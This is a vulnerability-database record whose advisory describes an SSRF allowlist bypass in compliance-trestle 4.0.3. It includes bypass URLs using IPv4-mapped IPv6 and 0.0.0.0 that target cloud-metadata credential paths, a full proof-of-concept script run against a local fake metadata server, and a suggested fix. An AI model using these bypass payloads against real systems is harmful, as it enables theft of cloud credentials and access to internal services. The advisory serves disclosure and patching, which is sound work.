{"id":"CVE-2026-52776","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-52776","summary":"compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0","details":"### Summary\n\n`compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:\n\n- IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network('169.254.0.0/16')` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match.\n- IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.\n\nA malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block.\n\n### Affected versions\n\n`compliance-trestle` (PyPI) versions `<= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all.\n\n### Privilege required\n\nNetwork-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile's imports.\n\n### Root cause\n\n`trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167):\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),     # IPv4 loopback only\n    ipaddress.ip_network('::1/128'),         # IPv6 loopback (single address)\n    ipaddress.ip_network('169.254.0.0/16'),  # IPv4 link-local only\n    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local\n]\n\nMETADATA_HOSTNAMES = {\n    '169.254.169.254',          # IPv4 literal only\n    'metadata.google.internal',\n    'metadata.azure.com',\n    '100.100.100.200',\n}\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr in network:  # IPv6Address in IPv4Network -> False\n            raise TrestleError(...)\n```\n\nFour independent gaps:\n\n1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo('::ffff:169.254.169.254', None)` returns an `IPv6Address`. Python's `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal.\n\n2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set.\n\n3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`).\n\n4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.\n\nSibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps.\n\n### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)\n\n```bash\n# 1. Setup\nmkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle\npython3.12 -m venv venv   # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT\n./venv/bin/pip install --quiet compliance-trestle==4.0.3\n./venv/bin/pip show compliance-trestle | head -2\n# Name: compliance-trestle\n# Version: 4.0.3\n\n# 2. Driver\ncat > e2e_full.py <<'PY'\nimport http.server, http.client, socket, socketserver, threading, time, os\nfrom urllib.parse import urlparse\nfrom trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config\nfrom trestle.common.err import TrestleError\n\nclass IMDS(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b'{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\",\"SecretAccessKey\":\"REDACTED\",\"Token\":\"FAKE_IMDS_RESPONSE\"}'\n        self.send_response(200); self.send_header(\"Content-Length\", str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nclass DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):\n    address_family = socket.AF_INET6\n    def server_bind(self):\n        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n        except (AttributeError, OSError): pass\n        super().server_bind()\n\nPORT = 18560\nsrv = DualStack((\"::\", PORT), IMDS)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ntime.sleep(0.2)\n\nvalidator = URLSecurityValidator(block_private_ips=True)\ndef attempt(label, url, expect_block):\n    try:\n        validator.validate_url(url); verdict, blocked = \"VALIDATION PASSED\", False\n    except TrestleError as e:\n        verdict, blocked = f\"BLOCKED: {str(e)[:80]}\", True\n    meta = \"(expected)\" if blocked == expect_block else \"(*** UNEXPECTED ***)\"\n    print(f\"\\n[{label}]\\n  URL: {url}\\n  Validator: {verdict}  {meta}\")\n    if not blocked:\n        try:\n            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)\n            c.request(\"GET\", p.path or \"/\"); r = c.getresponse(); print(f\"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}\"); c.close()\n        except Exception as e:\n            print(f\"  Connectivity: {type(e).__name__}: {str(e)[:80]}\")\n\n# Negative controls (validator must block)\nattempt(\"NEG-1: literal 169.254.169.254\", f\"https://169.254.169.254:{PORT}/latest/meta-data/\", True)\nattempt(\"NEG-2: literal 127.0.0.1\", f\"https://127.0.0.1:{PORT}/admin\", True)\nattempt(\"NEG-3: metadata.google.internal\", f\"https://metadata.google.internal:{PORT}/\", True)\nattempt(\"NEG-4: literal 10.0.0.1 RFC1918\", f\"https://10.0.0.1:{PORT}/admin\", True)\n# Bypasses (validator should block, but does not)\nattempt(\"BYPASS-1: IPv4-mapped IPv6 cloud-metadata\", f\"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin\", True)\nattempt(\"BYPASS-2: 0.0.0.0 reaches localhost\", f\"https://0.0.0.0:{PORT}/admin\", True)\nattempt(\"BYPASS-3: IPv4-mapped IPv6 loopback\", f\"https://[::ffff:127.0.0.1]:{PORT}/admin\", True)\nattempt(\"BYPASS-4: IPv4-mapped IPv6 RFC 1918\", f\"https://[::ffff:10.0.0.1]:{PORT}/admin\", True)\nsrv.shutdown()\nPY\n\n# 3. Run\n./venv/bin/python e2e_full.py\n```\n\nObserved output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's `is_global`/`is_private` reclassification IS active here; the bypass nevertheless works because this validator uses `IPv6Address in IPv4Network(...)` membership (which silently returns False for cross-version comparison), NOT the `is_global` predicate. The mechanism is therefore robust to CPython version:\n\n```\nPython: 3.12.13\ncompliance-trestle: 4.0.3\n  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False\n  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False\n  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False\n\n[NEG-1: literal 169.254.169.254]\n  URL: https://169.254.169.254:18560/latest/meta-data/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)\n\n[NEG-2: literal 127.0.0.1]\n  URL: https://127.0.0.1:18560/admin\n  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)\n\n[NEG-3: metadata.google.internal]\n  URL: https://metadata.google.internal:18560/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)\n\n[NEG-4: literal 10.0.0.1 RFC1918]\n  URL: https://10.0.0.1:18560/admin\n  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)\n\n[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]\n  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: TimeoutError: timed out\n\n[BYPASS-2: 0.0.0.0 reaches localhost]\n  URL: https://0.0.0.0:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b'{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF'\n\n[BYPASS-3: IPv4-mapped IPv6 loopback]\n  URL: https://[::ffff:127.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b'{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF'\n\n[BYPASS-4: IPv4-mapped IPv6 RFC 1918]\n  URL: https://[::ffff:10.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: RemoteDisconnected: Remote end closed connection without response\n```\n\n(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of `is_global`-independence: even with CPython's CVE-2024-4032 fix active (`is_global=False`, `is_private=True`), the validator's `in IPv4Network(...)` membership check still returns `False`, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/`::`, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)\n\nNegative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass `URLSecurityValidator.validate_url()` on the latest patched release.\n\n### Impact\n\n- SSRF to AWS / Azure / GCP / Alibaba IMDS via `https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role>` -> short-lived role credentials exfiltrated through the cached fetch.\n- SSRF to loopback administrative interfaces via `https://0.0.0.0:PORT/` or `https://[::ffff:127.0.0.1]:PORT/` -> access to local-only admin endpoints (Docker socket on `unix://`, Prometheus, etcd, Kubelet) that the validator was supposed to deny.\n- SSRF to RFC 1918 internal services via `https://[::ffff:10.0.0.1]/...` even when `TRESTLE_BLOCK_PRIVATE_IPS=true` is explicitly set, defeating the operator's defense-in-depth posture.\n- The cache-write traversal protection (`PathSecurityValidator.validate_url_path_for_cache` + `validate_cache_path`) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.\n\n### Suggested fix\n\nNormalize every resolved IP to its canonical IPv4 form before membership checks, and add `0.0.0.0` to the always-blocked set. Diff sketch against `trestle/core/remote/security.py`:\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),\n    ipaddress.ip_network('::1/128'),\n    ipaddress.ip_network('169.254.0.0/16'),\n    ipaddress.ip_network('fe80::/10'),\n    ipaddress.ip_network('0.0.0.0/8'),     # IPv4 \"this network\", reaches localhost on Linux\n    ipaddress.ip_network('::/128'),        # IPv6 unspecified\n]\n\ndef _canonicalize_ip(self, ip_addr):\n    \"\"\"Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.\"\"\"\n    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:\n        return ip_addr.ipv4_mapped\n    return ip_addr\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr.version == network.version and ip_addr in network:\n            raise TrestleError(...)\n\ndef _check_private_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    # ... same canonicalization before block_private_ip / warn_private_ip\n```\n\nAlso add the canonicalized literal to `_check_metadata_endpoints`:\n\n```python\ndef _check_metadata_endpoints(self, hostname):\n    # Canonicalize bracketed IPv6 literal hostnames before exact-match\n    canonical = hostname.strip('[]')\n    try:\n        canonical_ip = ipaddress.ip_address(canonical)\n        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:\n            canonical = str(canonical_ip.ipv4_mapped)\n    except ValueError:\n        pass\n    if canonical in METADATA_HOSTNAMES:\n        raise TrestleError(...)\n```\n\nThis mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node `undici` SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.\n\n### Credit\n\nReported by tonghuaroot.","published":"2026-08-12T15:21:17Z","modified":"2026-08-12T15:30:08.835367500Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"compliance-trestle","fixedVersion":"4.1.0"}],"fix":{"url":"https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c","label":"oscal-compass/compliance-trestle@d107cd1"},"references":[{"type":"WEB","url":"https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"},{"type":"WEB","url":"https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"},{"type":"PACKAGE","url":"https://github.com/oscal-compass/compliance-trestle"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T15:30:08.835367500Z"}}